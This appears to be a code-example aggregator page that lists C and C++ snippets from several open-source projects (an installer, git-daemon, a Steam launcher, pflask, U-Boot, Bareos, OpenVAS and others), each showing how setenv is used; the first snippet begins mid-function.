        if (!Extracter(passwd))
        {
            CleanPasswdString(passwd);
            passwd = NULL;
            throwerror(true, "Error during extracting files");
        }

        InstallOutput.AddText("Done!\n");
        alwaysroot = true; // Install commands need root now too
    }
    else
    {

        while(percent<100)
        {
            std::string curfile;
            percent = ExtractArchive(curfile);
            
            InstallOutput.AddText("Extracting file: " + curfile, false);
            if (percent==100) InstallOutput.AddText("Done!", false);
            else if (percent==-1) throwerror(true, "Error during extracting files");
    
            ProgressBar.SetValue(0, 100, percent/(1+InstallInfo.command_entries.size()));
            ProgressBar.Draw();
    
            chtype input = getch();
            if (input == 'c')
            {
                if (YesNoBox(GetTranslation("Install commands are still running\n"
                    "If you abort now this may lead to a broken installation\n"
                    "Are you sure?")))
                {
                    CleanPasswdString(passwd);
                    passwd = NULL;
                    EndProg();
                }
            }
        }
    }

    SuHandler.SetThinkFunc(InstThinkFunc, passwd);
    SuHandler.SetOutputFunc(PrintInstOutput, &InstallOutput);

    percent = 100/(1+InstallInfo.command_entries.size()); // Convert to overall progress
    
    short step = 2; // Not 1, because extracting files is also a step
    for (std::list<command_entry_s*>::iterator it=InstallInfo.command_entries.begin();
         it!=InstallInfo.command_entries.end(); it++, step++)
    {
        if ((*it)->command.empty()) continue;

        ProggWindow.Clear();
        ProggWindow.AddText("");
        ProggWindow.AddText(CreateText("</B/29>%s:<!29!B>", GetTranslation("Status")));
        ProggWindow.AddText(CreateText("%s (%d/%d)", GetTranslation((*it)->description.c_str()), step,
                            InstallInfo.command_entries.size()+1), true, BOTTOM, 24);

        ProgressBar.Draw();
        
        std::string command = (*it)->command + " " + GetParameters(*it);
        InstallOutput.AddText("");
        InstallOutput.AddText(CreateText("Execute: %s", command.c_str()));
        InstallOutput.AddText("");
        InstallOutput.AddText("");
        
        if (((*it)->need_root == NEED_ROOT) || alwaysroot)
        {
            SuHandler.SetPath((*it)->path.c_str());
            SuHandler.SetCommand(command);
            if (!SuHandler.ExecuteCommand(passwd))
            {
                if ((*it)->exit_on_failure)
                {
                    CleanPasswdString(passwd);
                    passwd = NULL;
                    throwerror(true, "%s\n('%s')", GetTranslation("Failed to execute install command"),
                               SuHandler.GetErrorMsgC());
                }
            }
        }
        else
        {
            // Redirect stderr to stdout, so that errors will be displayed too
            command += " 2>&1";
            
            setenv("PATH", (*it)->path.c_str(), 1);
            FILE *pipe = popen(command.c_str(), "r");
            char term[1024];
            if (pipe)
            {
                while (fgets(term, sizeof(term), pipe))
                {
                    InstallOutput.AddText(term);

                    chtype input = getch();
                    if (input == 'c') /*injectCDKSwindow(InstallOutput.GetSWin(), input);*/
                    {
                        if (YesNoBox(GetTranslation("Install commands are still running\n"
                                                    "If you abort now this may lead to a broken installation\n"
                                                    "Are you sure?")))
                        {
                            CleanPasswdString(passwd);
                            passwd = NULL;
                            EndProg();
                        }
                    }
                }
                
                // Check if command exitted normally and close pipe
                int state = pclose(pipe);
                if (!WIFEXITED(state) || (WEXITSTATUS(state) == 127)) // SH returns 127 if command execution failes
                {
                    if ((*it)->exit_on_failure)
                    {
                        CleanPasswdString(passwd);
                        passwd = NULL;
                        throwerror(true, "Failed to execute install command");
                    }
                }
            }
            else
            {
                CleanPasswdString(passwd);
                passwd = NULL;
                throwerror(true, "Could not execute installation commands (could not open pipe)");
            }
            
#if 0
            // Need to find a good way to safely suspend a process...this code doesn't always work :(
            
            int pipefd[2];

            pipe(pipefd);
            pid_t pid = fork();
            if (pid == -1) throwerror(true, "Error during command execution: Could not fork process");
            else if (pid) // Parent process
            {
                close(pipefd[1]); // We're not going to write here

                std::string out;
                char c;
                int compid = -1; // PID of the executed command

                while(read(pipefd[0], &c, sizeof(c)) > 0)
                {
                    out += c;
                    if (c == '\n')
                    {
                        if (compid == -1)
                        {
                            compid = atoi(out.c_str());
                            InstallOutput.AddText(CreateText("pid: %d compid: %d", pid, compid), false);
                        }
                        else InstallOutput.AddText(out, false);
                        out.clear();
                    }

                    chtype input = getch();
                    if (input != ERR) /*injectCDKSwindow(InstallOutput.GetSWin(), input);*/
                    {
                        if (kill(compid, SIGTSTP) < 0) // Pause command execution
                            WarningBox("PID Error: %s\n", strerror(errno));
                        
                        char *buttons[2] = { GetTranslation("Yes"), GetTranslation("No") };
                        CCharListHelper msg;
    
                        msg.AddItem(GetTranslation("This will abort the installation"));
                        msg.AddItem(GetTranslation("Are you sure?"));
    
                        CCDKDialog dialog(CDKScreen, CENTER, CENTER, msg, msg.Count(), buttons, 2);
                        dialog.SetBgColor(26);
                        int ret = dialog.Activate();
                        bool cont = ((ret == 1) || (dialog.ExitType() != vNORMAL));

                        dialog.Destroy();
                        refreshCDKScreen(CDKScreen);

                        if (!cont)
                        {
                            kill(pid, SIGTERM);
                            EndProg();
                        }

                        kill(compid, SIGCONT); // Continue command execution
                    }
                }
                close (pipefd[0]);

                int status;
                //waitpid(pid, &status, 0);
            }
            else // Child process
            {
                // Redirect stdout to pipe
                close(STDOUT_FILENO);
                dup (pipefd[1]);
                
                close (pipefd[0]); // No need to read here

                // Make sure no errors are printed and write pid of new command
                command += " 2> /dev/null &  echo $!";
                execl("/bin/sh", "sh", "-c", command.c_str(), NULL);
                system(CreateText("echo %s", strerror(errno)));
                _exit(1);
            }
#endif
        }

        percent += (1.0f/((float)InstallInfo.command_entries.size()+1.0f))*100.0f;
        ProgressBar.SetValue(0, 100, percent);
    }

    ProgressBar.SetValue(0, 100, 100);
    ProgressBar.Draw();
    
    CleanPasswdString(passwd);
    passwd = NULL;
    
    ButtonBar.Clear();
    ButtonBar.AddButton("Arrows", "Scroll install output");
    ButtonBar.AddButton("Enter", (FileExists(InstallInfo.own_dir + "/config/finish")) ? "Continue" : "Finish"); // HACK
    ButtonBar.Draw();

    WarningBox("Installation of %s complete!", InstallInfo.program_name.c_str());

    InstallOutput.Activate();
    return (InstallOutput.ExitType() == vNORMAL);
}
コード例 #13
0
ファイル: ifr_sgraph.c プロジェクト: clemej/ifrac
int graph_init_video(void)
{
  int 	rc = 0;
	int   screen_colours;
	vga_modeinfo *vminfo;
	
	if (tcgetpgrp(STDIN_FILENO) != getpid())
	{	fprintf(stderr, "Sorry, this application cannot start in background\n");
		return 0;
	}

	pltf = PLTF_SVGA;

  /*-----------------------------------------------------------*/     
	/* Checking libvga version, 1.4.0 and prior will return (-1) */
	/* Currently you need IOPERM for 1.9.x to run as a non-priv  */
	/* user, however set IOPERM upsets upsets previous versions  */
  /*-----------------------------------------------------------*/     
  if (vga_setmode(-1) >= 0x1900)	setenv("IOPERM", "1", 0);  

	rc = vga_init();
	if (rc != 0)
	{ fprintf(stderr, "Can't initialise SVGA library. \n"
     		    "Possible solution: log as root, and enter:\n"
		    "\tchown 0 ifrac\n"
		    "\tchmod 4755 ifrac\n");
	  return 0;
	}	

#ifdef SVGALIB_BACKGROUND_SUPPORT
  set_background_routines();
#else
	run_background = 0;
#endif

	if (!set_video_mode())
	{  fprintf(stderr, "Sorry, unable to set video mode. \n");
      	   return 0;		
	}

	vminfo = vga_getmodeinfo(vga_getcurrentmode());
	
	WndWidth = ScrWidth = vminfo->width;
	WndHeight = ScrHeight = vminfo->height;

	screen_colours = vminfo->colors;
	if (screen_colours < 16)
	{	fprintf (stderr,
		   "This application requires at least 16-colour mode\n");
		return 0;
	}	 

	ScrDepth = 0;
	while((screen_colours>>=1) != 0) ScrDepth++;

	if (ScrDepth <= 8)
	{  BytesPerPixel = 1;
	   stored_colours = 1;
	}
	else
	{  BytesPerPixel = vminfo->bytesperpixel;
	   stored_colours = 0;
	}
	
	scan_line_width = vminfo->linewidth;
	screen_size = scan_line_width * ScrHeight;

	if (ScrDepth < 8) 
		DirVideo = 0;
	else {
		vga_setpage(screen_page=0);

		if (DirVideo == 2 && (vminfo->flags & CAPABLE_LINEAR)) 
			lbuf_len = vga_setlinearaddressing();
	
		if (DirVideo > 0) 
			lbuf_addr = vga_getgraphmem();
	}
	
	return  1;
}
コード例 #14
0
ファイル: daemon.c プロジェクト: joeo/fut
static int execute(struct sockaddr *addr)
{
	static char line[1000];
	int pktlen, len, i;

	if (addr) {
		char addrbuf[256] = "";
		int port = -1;

		if (addr->sa_family == AF_INET) {
			struct sockaddr_in *sin_addr = (void *) addr;
			inet_ntop(addr->sa_family, &sin_addr->sin_addr, addrbuf, sizeof(addrbuf));
			port = ntohs(sin_addr->sin_port);
#ifndef NO_IPV6
		} else if (addr && addr->sa_family == AF_INET6) {
			struct sockaddr_in6 *sin6_addr = (void *) addr;

			char *buf = addrbuf;
			*buf++ = '['; *buf = '\0'; /* stpcpy() is cool */
			inet_ntop(AF_INET6, &sin6_addr->sin6_addr, buf, sizeof(addrbuf) - 1);
			strcat(buf, "]");

			port = ntohs(sin6_addr->sin6_port);
#endif
		}
		loginfo("Connection from %s:%d", addrbuf, port);
		setenv("REMOTE_ADDR", addrbuf, 1);
	}
	else {
		unsetenv("REMOTE_ADDR");
	}

	alarm(init_timeout ? init_timeout : timeout);
	pktlen = packet_read_line(0, line, sizeof(line));
	alarm(0);

	len = strlen(line);
	if (pktlen != len)
		loginfo("Extended attributes (%d bytes) exist <%.*s>",
			(int) pktlen - len,
			(int) pktlen - len, line + len + 1);
	if (len && line[len-1] == '\n') {
		line[--len] = 0;
		pktlen--;
	}

	free(hostname);
	free(canon_hostname);
	free(ip_address);
	free(tcp_port);
	hostname = canon_hostname = ip_address = tcp_port = NULL;

	if (len != pktlen)
		parse_extra_args(line + len + 1, pktlen - len - 1);

	for (i = 0; i < ARRAY_SIZE(daemon_service); i++) {
		struct daemon_service *s = &(daemon_service[i]);
		int namelen = strlen(s->name);
		if (!prefixcmp(line, "git-") &&
		    !strncmp(s->name, line + 4, namelen) &&
		    line[namelen + 4] == ' ') {
			/*
			 * Note: The directory here is probably context sensitive,
			 * and might depend on the actual service being performed.
			 */
			return run_service(line + namelen + 5, s);
		}
	}

	logerror("Protocol error: '%s'", line);
	return -1;
}
コード例 #15
0
int main(int argc, char **argv)
{
        LsiConfig config = { 0 };
        bool is_x86_64;
        const char *n_argv[argc + 2];
        const char *exec_command = NULL;
        int i = 1;
        int8_t off = 0;
        int (*vfunc)(const char *, char *const argv[]) = NULL;

        /* Initialise config */
        if (!lsi_config_load(&config)) {
                lsi_config_load_defaults(&config);
        }

        is_x86_64 = lsi_system_is_64bit();

        if (!lsi_file_exists(STEAM_BINARY)) {
                lsi_report_failure("Steam isn't currently installed at %s", STEAM_BINARY);
                return EXIT_FAILURE;
        }

        /* Force STEAM_RUNTIME into the environment */
        if (config.use_native_runtime) {
                /* Explicitly disable the runtime */
                setenv("STEAM_RUNTIME", "0", 1);
        } else {
                /* Only preload when needed. */
                if (lsi_system_requires_preload()) {
                        setenv("LD_PRELOAD", lsi_preload_list(), 1);
                }
                setenv("STEAM_RUNTIME", "1", 1);
        }

        /* Vanilla dbus users suffer a segfault on Steam exit, due to incorrect
         * usage of dbus by Steam. Help them out */
        setenv("DBUS_FATAL_WARNINGS", "0", 1);

        memset(&n_argv, 0, sizeof(char *) * (argc + 2));

        /* If we're 64-bit and 32-bit is forced, proxy via linux32 */
        if (config.force_32 && is_x86_64) {
                exec_command = EMUL32BIN;
                n_argv[0] = EMUL32BIN;
                n_argv[1] = STEAM_BINARY;
                off = 1;
                /* Use linux32 in the path */
                vfunc = execvp;
        } else {
                /* Directly call STEAM_BINARY */
                exec_command = STEAM_BINARY;
                n_argv[0] = STEAM_BINARY;
                /* Full path here due to shadow nature */
                vfunc = execv;
        }

        /* Point arguments to arguments passed to us */
        for (i = 1; i < argc; i++) {
                n_argv[i + off] = argv[i];
        }
        n_argv[i + 1 + off] = NULL;

        /* Go execute steam. */
        if (vfunc(exec_command, (char **)n_argv) < 0) {
                lsi_report_failure("Failed to launch Steam: %s [%s]",
                                   strerror(errno),
                                   STEAM_BINARY);
                return EXIT_FAILURE;
        }
}
コード例 #16
0
ファイル: pflask.c プロジェクト: stangelandcl/pflask
int main(int argc, char *argv[]) {
	int rc, i;

	pid_t pid  = -1;
	pid_t ppid = getpid();

	uid_t uid = -1;
	gid_t gid = -1;

	_free_ char *user   = NULL;
	_free_ char *dest   = NULL;
	_free_ char *change = NULL;
	_free_ char *env    = NULL;
	_free_ char *cgroup = NULL;

	_close_ int master_fd = -1;

	char *master_name;

	int detach  = 0;
	int keepenv = 0;

	siginfo_t status;

	while ((rc = getopt_long(argc, argv, short_opts, long_opts, &i)) !=-1) {
		switch (rc) {
			case 'm':
				validate_optlist("--mount", optarg);

				add_mount_from_spec(optarg);
				break;

			case 'n':
				clone_flags |= CLONE_NEWNET;

				if (optarg != NULL) {
					validate_optlist("--netif", optarg);

					add_netif_from_spec(optarg);
				}
				break;

			case 'u':
				clone_flags |= CLONE_NEWUSER;

				freep(&user);

				user = strdup(optarg);
				break;

			case 'r':
				freep(&dest);

				dest = realpath(optarg, NULL);
				if (dest == NULL) sysf_printf("realpath()");
				break;

			case 'c':
				freep(&change);

				change = strdup(optarg);
				break;

			case 'g':
				validate_optlist("--cgroup", optarg);
				validate_cgroup_spec(optarg);

				freep(&change);

				cgroup = strdup(optarg);
				break;

			case 'd':
				detach = 1;
				break;

			case 'a': {
				char *end = NULL;
				pid = strtol(optarg, &end, 10);
				if (*end != '\0')
					fail_printf("Invalid value '%s' for --attach", optarg);
				break;
			}

			case 's': {
				validate_optlist("--setenv", optarg);

				if (env != NULL) {
					char *tmp = env;

					rc = asprintf(&env, "%s,%s", env, optarg);
					if (rc < 0) fail_printf("OOM");

					freep(&tmp);
				} else {
					env = strdup(optarg);
				}

				break;
			}

			case 'k':
				keepenv = 1;
				break;

			case 'U':
				clone_flags &= ~(CLONE_NEWUSER);
				break;

			case 'M':
				clone_flags &= ~(CLONE_NEWNS);
				break;

			case 'N':
				clone_flags &= ~(CLONE_NEWNET);
				break;

			case 'I':
				clone_flags &= ~(CLONE_NEWIPC);
				break;

			case 'H':
				clone_flags &= ~(CLONE_NEWUTS);
				break;

			case 'P':
				clone_flags &= ~(CLONE_NEWPID);
				break;

			case '?':
			case 'h':
				help();
				return 0;
		}
	}

	if (pid != -1) {
		master_fd = recv_pty(pid);
		if (master_fd < 0) fail_printf("Invalid PID '%u'", pid);

		pid = -1;
		goto process_fd;
	}

	if (user == NULL) {
		user = strdup("root");
		if (user == NULL) fail_printf("OOM");
	}

	open_master_pty(&master_fd, &master_name);

	uid = getuid();
	gid = getgid();

	if (detach == 1)
		do_daemonize();

	pid = do_clone();

	if (pid == 0) {
		closep(&master_fd);

		open_slave_pty(master_name);

		rc = setsid();
		if (rc < 0) sysf_printf("setsid()");

		rc = prctl(PR_SET_PDEATHSIG, SIGKILL);
		if (rc < 0) sysf_printf("prctl(PR_SET_PDEATHSIG)");

		if (clone_flags & CLONE_NEWUSER)
			map_user_to_user(uid, gid, user);

		do_cgroup(cgroup, ppid);

		do_mount(dest);

		if (dest != NULL) {
			copy_nodes(dest);

			make_ptmx(dest);

			make_symlinks(dest);

			make_console(dest, master_name);

			do_chroot(dest);
		}

		if (clone_flags & CLONE_NEWNET)
			setup_loopback();

		umask(0022);

		/* TODO: drop capabilities */

		do_user(user);

		if (change != NULL) {
			rc = chdir(change);
			if (rc < 0) sysf_printf("chdir()");
		}

		if (dest != NULL) {
			char *term = getenv("TERM");

			if (keepenv == 0)
				clearenv();

			setenv("PATH", "/usr/sbin:/usr/bin:/sbin:/bin", 1);
			setenv("USER", user, 1);
			setenv("LOGNAME", user, 1);
			setenv("TERM", term, 1);
		}

		if (env != NULL) {
			size_t i, c;

			_free_ char **vars = NULL;

			_free_ char *tmp = strdup(env);
			if (tmp == NULL) fail_printf("OOM");

			c = split_str(tmp, &vars, ",");

			for (i = 0; i < c; i++) {
				rc = putenv(strdup(vars[i]));
				if (rc != 0) sysf_printf("putenv()");
			}
		}

		setenv("container", "pflask", 1);

		if (argc > optind)
			rc = execvpe(argv[optind], argv + optind, environ);
		else
			rc = execle("/bin/bash", "-bash", NULL, environ);

		if (rc < 0) sysf_printf("exec()");
	}

	do_netif(pid);

process_fd:
	if (detach == 1)
		serve_pty(master_fd);
	else
		process_pty(master_fd);

	if (pid == -1)
		return 0;

	kill(pid, SIGKILL);

	rc = waitid(P_PID, pid, &status, WEXITED);
	if (rc < 0) sysf_printf("waitid()");

	switch (status.si_code) {
		case CLD_EXITED:
			if (status.si_status != 0)
				err_printf("Child failed with code '%d'",
				           status.si_status);
			else
				ok_printf("Child exited");
			break;

		case CLD_KILLED:
			err_printf("Child was terminated");
			break;

		default:
			err_printf("Child failed");
			break;
	}

	undo_cgroup(cgroup, ppid);

	return status.si_status;
}
コード例 #17
0
ファイル: stv_mbx_ref.c プロジェクト: Doxlon/buildroot-uboot
int switch_boot_mode(void)
{
    unsigned long hold_time = 50000, polling_time = 10000, tmp;
#ifdef CONFIG_SWITCH_BOOT_MODE
    printf("ENTER U-BOOT SWITCH MODE !!!!\n");
#else
    unsigned long tag;
	#ifdef CONFIG_EFUSE
		char *barg_addr;
		char *r_efus;
		char addr[20];
		char bootargs[384];
	#endif
	
    tag = simple_strtoul (getenv ("tag"), NULL, 16);
    printf("tag = %d    !!!!!!!!!!!!!!!!!!\n", tag);

    if(tag == 3)
    {
        switch(get_kernel_cmd())
        {
            case SYSTEM_REBOOT:
            {
                printf("SYSTEM_REBOOT...\n");
                return  1;
            }
            default:
            {
                printf("NORMAL_BOOT...\n");
                break;
            }
        }
    }
    else
    {
        printf("Upgrade step %d...\n", tag);
    }

    if(tag == 0)
    {
        if(upgrade_bootloader())
        {
            run_command ("set tag 1", 0);
            run_command ("save", 0);
            run_command ("reset", 0);
            hang();
        }
        else
        {
            printf("### ERROR:  u-boot write failed!!!\n");
            return  -1;
        }
    }
    else if((tag >0) && (tag < 3))
    {
        if(tag == 1)
        {
            if(upgrade_env())
            {
                run_command ("set tag 2", 0);
                run_command ("save", 0);
                run_command ("reset", 0);
                hang();
            }
            else
            {
                run_command ("defenv", 0);
                run_command ("save", 0);
            }
        }
        run_command ("set tag 3", 0);
        
        #ifdef CONFIG_EFUSE
			//r_addr = getenv ("ethaddr");
			if(efuse_chk_written(2)){
				r_efus = efuse_read_usr(2);
				memset(addr,0,sizeof(addr));
				sprintf(addr,"%02x:%02x:%02x:%02x:%02x:%02x",r_efus[0],r_efus[1],r_efus[2],r_efus[3],r_efus[4],r_efus[5]);
				printf("efuse mac is : %s \n", addr);
				//setenv ("ethaddr", addr);
				barg_addr = getenv ("bootargs");
				sprintf(bootargs,"set bootargs '%s mac=%s'",barg_addr,addr);
				run_command (bootargs, 0);
			}
		#endif
        run_command ("save", 0);
        
        upgrade_partition();
        return  1;
    }
#endif
	
		//add by steven for version info
		char verubt[64],verrec[64];
		char *r_verubt,*r_verrec;
		const char* pVer = 0x82000020;
		const unsigned int* pMark = 0x8200005c;
		
		r_verubt = getenv("verubt");
		r_verrec = getenv("verrec");
		sprintf(verubt,"%s(%s.%s)",U_BOOT_VERSION,U_BOOT_DATE,U_BOOT_TIME);
		
		run_command("sf probe 0;sf read 82000000 40000 1000;",0);
		if(*pMark==0xbc690000)
		{
			sprintf(verrec,"%s",pVer);
		}
				
		if(strcmp(r_verubt,verubt) || strcmp(r_verrec,verrec)){
			setenv("verubt",verubt);
			if(*pMark==0xbc690000){
				setenv("verrec",verrec);
			}
			run_command("sav",0);
		}
		//end: add by steven for version info
		
		
#ifdef CONFIG_EFUSE //add by steven for mac in efuse.
		char *barg_addr;
		char *r_efus,*r_emac;
		char addr[20];
		
		r_emac = getenv ("emac");		
		if((efuse_chk_written(2)) && (strcmp(r_emac,"efuse")==0)){
			r_efus = efuse_read_usr(2);
			memset(addr,0,sizeof(addr));
			sprintf(addr,"%02x:%02x:%02x:%02x:%02x:%02x",r_efus[0],r_efus[1],r_efus[2],r_efus[3],r_efus[4],r_efus[5]);
			printf("efuse mac is : %s \n", addr);
			setenv ("ethaddr", addr);
			run_command("sav",0);
		}
#endif
		
    saradc_enable();

    //added by Elvis for added fool idle
    get_key();
    get_key();
    
    while(hold_time > 0)
    {
        udelay(polling_time);
        tmp = get_key();
        printf("get_key(): %d\n", tmp);
        if(!tmp)  break;
        hold_time -= polling_time;
    }

    if(hold_time > 0)
    {
        printf("Normal Start...\n");
        return  1;
    }
    else
    {
#ifdef CONFIG_RECOVERY
       	printf("Recovery Start...\n");
        run_command ("run recoveryboot", 0);
        hang();
#else
        if(upgrade_bootloader())
        {
            run_command ("set tag 1", 0);
            run_command ("save", 0);
            run_command ("reset", 0);
            hang();
        }
        if(upgrade_env())
        {
            run_command ("set tag 2", 0);
            run_command ("save", 0);
            run_command ("reset", 0);
            hang();
        }
        run_command ("set tag 3", 0);
        run_command ("save", 0);
        upgrade_partition();
#endif
    }
}
コード例 #18
0
ファイル: integratorcp.c プロジェクト: cmp1084/u-boot
int misc_init_r (void)
{
	setenv("verify", "n");
	return (0);
}
コード例 #19
0
ファイル: parse_conf.c プロジェクト: AlD/bareos
/*
 * Returns false on error
 *         true  on OK, with full_path set to where config file should be
 */
static bool find_config_file(const char *config_file, char *full_path, int max_path)
{
   int dir_length, file_length;
   const char *config_dir;
#if defined(HAVE_SETENV) || defined(HAVE_PUTENV)
   char *bp;
   POOL_MEM env_string(PM_NAME);
#endif

   /*
    * If a full path specified, use it
    */
   file_length = strlen(config_file) + 1;
   if (first_path_separator(config_file) != NULL) {
      if (file_length > max_path) {
         return false;
      }

      bstrncpy(full_path, config_file, file_length);

#ifdef HAVE_SETENV
      pm_strcpy(env_string, config_file);
      bp = (char *)last_path_separator(env_string.c_str());
      *bp = '\0';
      setenv("BAREOS_CFGDIR", env_string.c_str(), 1);
#elif HAVE_PUTENV
      Mmsg(env_string, "BAREOS_CFGDIR=%s", config_file);
      bp = (char *)last_path_separator(env_string.c_str());
      *bp = '\0';
      putenv(bstrdup(env_string.c_str()));
#endif

      return true;
   }

   /*
    * config_file is default file name, now find default dir
    */
   config_dir = get_default_configdir();
   dir_length = strlen(config_dir);

   if ((dir_length + 1 + file_length) > max_path) {
      return false;
   }

#ifdef HAVE_SETENV
   pm_strcpy(env_string, config_dir);
   setenv("BAREOS_CFGDIR", env_string.c_str(), 1);
#elif HAVE_PUTENV
   Mmsg(env_string, "BAREOS_CFGDIR=%s", config_dir);
   putenv(bstrdup(env_string.c_str()));
#endif

   memcpy(full_path, config_dir, dir_length + 1);

   if (!IsPathSeparator(full_path[dir_length - 1])) {
      full_path[dir_length++] = '/';
   }

   memcpy(full_path + dir_length, config_file, file_length);

   return true;
}
コード例 #20
0
ファイル: yard-ice.c プロジェクト: powertang/yard-ice
int network_config(void)
{
	struct ifnet * ifn;
	in_addr_t ip_addr;
	in_addr_t netmask = INADDR_ANY;
	in_addr_t gw_addr = INADDR_ANY;
	char s[64];
	char s1[16];
	char s2[16];
	char * env;
	uint8_t * ethaddr;
	uint64_t esn;
	int dhcp;

	/* Initialize MAC address with the MCU's UID */
	ethaddr = (uint8_t *)&esn;
	esn = *((uint64_t *)STM32F_UID);
	DCC_LOG2(LOG_TRACE, "ESN=0x%08x%08x", esn >> 32, esn);
	ethaddr[0] = (ethaddr[0] & 0xfc) | 0x02; /* Locally administered MAC */


	DCC_LOG(LOG_TRACE, "tcpip_init().");
	tcpip_init();

	if ((env = getenv("IPCFG")) == NULL) {
		tracef("IPCFG not set, using defaults!\n");
		/* default configuration */
		strcpy(s, "192.168.0.128 255.255.255.0 192.168.0.1 0");
		/* set the default configuration */
		setenv("IPCFG", s, 1);
	} else {
		strcpy(s, env);
	}

	if ((env = getenv("ETHADDR")) != NULL) {
		eth_strtomac(ethaddr, env);
	} else {
		trace("Ethernet MAC address not set, using defaults!");
		DCC_LOG(LOG_WARNING, "Ethernet MAC address not set.");
	}

    tracef("* mac addr: %02x-%02x-%02x-%02x-%02x-%02x",
		   ethaddr[0], ethaddr[1], ethaddr[2],
		   ethaddr[3], ethaddr[4], ethaddr[5]);

	if (!inet_aton(strtok(s, " ,"), (struct in_addr *)&ip_addr)) {
		DCC_LOG(LOG_WARNING, "inet_aton() failed.");
		return -1;
	}

	if (inet_aton(strtok(NULL, " ,"), (struct in_addr *)&netmask)) {
		if (inet_aton(strtok(NULL, " ,"), (struct in_addr *)&gw_addr)) {
			dhcp = strtoul(strtok(NULL, ""), NULL, 0);
		}
	}

	/* initialize the Ethernet interface */
	/* configure the ip address */
	ifn = ethif_init(ethaddr, ip_addr, netmask);
//	ifn = loopif_init(ip_addr, netmask);

	ifn_getname(ifn, s);
	ifn_ipv4_get(ifn, &ip_addr, &netmask);
	tracef("* netif %s: %s, %s", s, 
		   inet_ntop(AF_INET, (void *)&ip_addr, s1, 16),
		   inet_ntop(AF_INET, (void *)&netmask, s2, 16));

	if (gw_addr != INADDR_ANY) {
		/* add the default route (gateway) to ethif */
		ipv4_route_add(INADDR_ANY, INADDR_ANY, gw_addr, ifn);
		tracef("* default route gw: %s", 
			   inet_ntop(AF_INET, (void *)&gw_addr, s1, 16));
	}

	if (dhcp) {
#if 0
		/* configure the initial ip address */
		dhcp_start();
		/* schedule the interface to be configured through dhcp */
		dhcp_ifconfig(ethif, dhcp_callback);
		tracef("DHCP started.\n");
#endif
	}

	return 0;
}
コード例 #21
0
ファイル: OnionServer.cpp プロジェクト: SHINOTECH/TinyPrint
/*+++++++++++++ OnionServer-Class ++++++++++++++++++ */
OnionServer::OnionServer(B9CreatorSettings &b9CreatorSettings ):
	//m_onion( O_ONE_LOOP),
	//m_onion( O_THREADED),//never shutdown server
	m_onion( O_THREADED|O_DETACH_LISTEN|O_NO_SIGTERM ),
	//m_onion( O_ONE_LOOP|O_DETACH_LISTEN ),
	m_url(m_onion),
	m_mimedict(),
	m_mimes(),
	m_urls(),
	m_b9CreatorSettings(b9CreatorSettings) {
		//m_onion.setTimeout(5000);

		// Store used urls
		m_urls.push_back( "" );
		m_urls.push_back("index.html");
		m_urls.push_back("b9creator_settings.js");
		m_urls.push_back("settings");
		m_urls.push_back("files.js");
		m_urls.push_back("files");
		m_urls.push_back("messages");
		m_urls.push_back("preview.png");
		m_urls.push_back("update");
		m_urls.push_back("jobtimings.js");
		m_urls.push_back("jobtimings");
		m_urls.push_back("^.*$");

		// Store used mime types
		m_mimes.push_back("html");
		m_mimes.push_back("text/html; charset: utf-8");
		m_mimes.push_back("css");
		m_mimes.push_back("text/css; charset: utf-8"); 
		m_mimes.push_back("js");
		m_mimes.push_back("application/javascript; charset: utf-8");
		m_mimes.push_back("png");
		m_mimes.push_back("image/png");

		//Set mime types dict
		m_mimedict.add( m_mimes[0], m_mimes[1], 0);
		m_mimedict.add( m_mimes[2], m_mimes[3], 0);
		m_mimedict.add( m_mimes[4], m_mimes[5], 0);
		m_mimedict.add( m_mimes[6], m_mimes[7], 0);

#ifndef WIN32
		/* boost:filesystem require proper locale settings.*/
		try
		{
			boost::filesystem::path::codecvt(); // Raises runtime error if current locale is invalid.
		} catch(std::runtime_error &e)
		{
			VPRINT("Locale settings produces runtime error. Enable LC_ALL=C as fallback.");
			setenv("LC_ALL", "C", 1); // Force C locale
		}
#endif

		//add default signal handler.
		updateSignal.connect(
				boost::bind(&OnionServer::updateWebserver,this, _1, _2, _3)
				);
		//add signal handler of b9CreatorSettings.
		updateSignal.connect(
				boost::bind(&B9CreatorSettings::webserverUpdateConfig,&b9CreatorSettings, _1, _2, _3)
				);
		//start_server();

	}
コード例 #22
0
/**
 * @brief openvassd.
 * @param argc Argument count.
 * @param argv Argument vector.
 */
int
main (int argc, char *argv[])
{
  int exit_early = 0, scanner_port = 9391;
  pid_t handler_pid;
  char *myself;
  struct arglist *options = emalloc (sizeof (struct arglist));
  struct addrinfo *mysaddr;
  struct addrinfo hints;
  struct addrinfo ai;
  struct sockaddr_in saddr;
  struct sockaddr_in6 s6addr;

  proctitle_init (argc, argv);
  gcrypt_init ();

  if ((myself = strrchr (*argv, '/')) == 0)
    myself = *argv;
  else
    myself++;

  static gboolean display_version = FALSE;
  static gboolean dont_fork = FALSE;
  static gchar *address = NULL;
  static gchar *port = NULL;
  static gchar *config_file = NULL;
  static gchar *gnutls_priorities = "NORMAL";
  static gchar *dh_params = NULL;
  static gboolean print_specs = FALSE;
  static gboolean print_sysconfdir = FALSE;
  static gboolean only_cache = FALSE;
  GError *error = NULL;
  GOptionContext *option_context;
  static GOptionEntry entries[] = {
    {"version", 'V', 0, G_OPTION_ARG_NONE, &display_version,
     "Display version information", NULL},
    {"foreground", 'f', 0, G_OPTION_ARG_NONE, &dont_fork,
     "Do not run in daemon mode but stay in foreground", NULL},
    {"listen", 'a', 0, G_OPTION_ARG_STRING, &address,
     "Listen on <address>", "<address>"},
    {"port", 'p', 0, G_OPTION_ARG_STRING, &port,
     "Use port number <number>", "<number>"},
    {"config-file", 'c', 0, G_OPTION_ARG_FILENAME, &config_file,
     "Configuration file", "<.rcfile>"},
    {"cfg-specs", 's', 0, G_OPTION_ARG_NONE, &print_specs,
     "Print configuration settings", NULL},
    {"sysconfdir", 'y', 0, G_OPTION_ARG_NONE, &print_sysconfdir,
     "Print system configuration directory (set at compile time)", NULL},
    {"only-cache", 'C', 0, G_OPTION_ARG_NONE, &only_cache,
     "Exit once the NVT cache has been initialized or updated", NULL},
    {"gnutls-priorities", '\0', 0, G_OPTION_ARG_STRING, &gnutls_priorities,
     "GnuTLS priorities string", "<string>"},
    {"dh-params", '\0', 0, G_OPTION_ARG_STRING, &dh_params,
     "Diffie-Hellman parameters file", "<string>"},
    {NULL}
  };

  option_context =
    g_option_context_new ("- Scanner of the Open Vulnerability Assessment System");
  g_option_context_add_main_entries (option_context, entries, NULL);
  if (!g_option_context_parse (option_context, &argc, &argv, &error))
    {
      g_print ("%s\n\n", error->message);
      exit (0);
    }
  g_option_context_free (option_context);

  if (print_sysconfdir)
    {
